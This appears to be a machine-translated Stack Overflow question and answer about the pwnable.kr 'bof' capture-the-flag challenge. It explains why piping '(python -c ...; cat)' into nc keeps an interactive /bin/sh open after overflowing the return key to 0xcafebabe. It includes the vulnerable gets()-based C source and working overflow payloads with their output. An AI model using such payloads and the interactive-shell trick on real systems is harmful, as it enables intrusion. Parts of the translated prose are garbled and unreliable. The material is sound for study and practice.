"python -c 'print' " 和 linux 中的“(python -c 'print'; cat)” 有什么区别

what is the difference between "python -c 'print' " and "(python -c 'print'; cat)" in linux

我通常使用"python -c"向C程序传递参数。

像这样:

$ python -c 'print "a" * 12' | ./program

但是当我执行 BOF 练习程序时 pwnable.kr/bof

python -c 'print'

( python -c 'print'; cat )

工作方式不同。

  1. 我写了这样的漏洞利用代码:

    $ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
    

    但是没有用,所以我找到了stack_canary值。

  2. $ python -c 'print "a"*32 +"\x0a"+ "a"*19 + "\xbe\xba\xfe\xca" ' | nc pwnable.kr 9000
    

    但是还是不行

  3. 所以我找了别人写的

    $ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
    

    此漏洞利用代码成功执行/bin/sh

为什么这个 3.exploit 代码会通过 stack canary,python -c 'print'(python -c 'print'; cat) 有什么区别?

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
   }
 int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
 } 

bof.c 来源

$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000

* 检测到堆栈粉碎 *:/home/bof/bof 已终止 溢出我:

不..


$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000

溢出我:

不..


$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000

成功执行/bin/sh

cat /dev/null | /bin/sh

这会运行/bin/shshell(和虐待猫,但会暂时离开)并且shell/bin/sh会立即关闭没有写任何东西。 /bin/sh 运行s 一个 interactive shell,但是作为 shell 的标准输入是关闭的(通过 <nothing> |</dev/null) shell 检测到输入已结束(它显示为 EOF)并立即存在。

现在让我们把这个例子复杂化:

$ cat <<EOF >bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
     // bla bla bla 
        system("/bin/sh");
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
EOF

$ gcc bof.c -o bof
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | ./bof

如果堆栈粉碎成功,./bof 程序将调用 system("/bin/sh")。但是 shell /bin/sh 仍会尝试读取标准输入。由于没有更多内容可读(输入 python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' 结束),它将读取 EOF 并立即退出。

要从程序中写入一个字符串,然后允许输入再次交互,您可以使用 subshell 和 cat:

 ( printf "\x11\xbe\xba\xfe\xca" ; cat )

这将首先 运行 printf 命令,然后 运行 cat 命令。 cat 将在 printf 结束后从标准输入读取,因此控制台将再次充当交互。

看看这个问题的公认答案,它很好地解释了这一点。

https://reverseengineering.stackexchange.com/questions/11777/how-to-effectively-bypass-gcc-stack-smashing-detection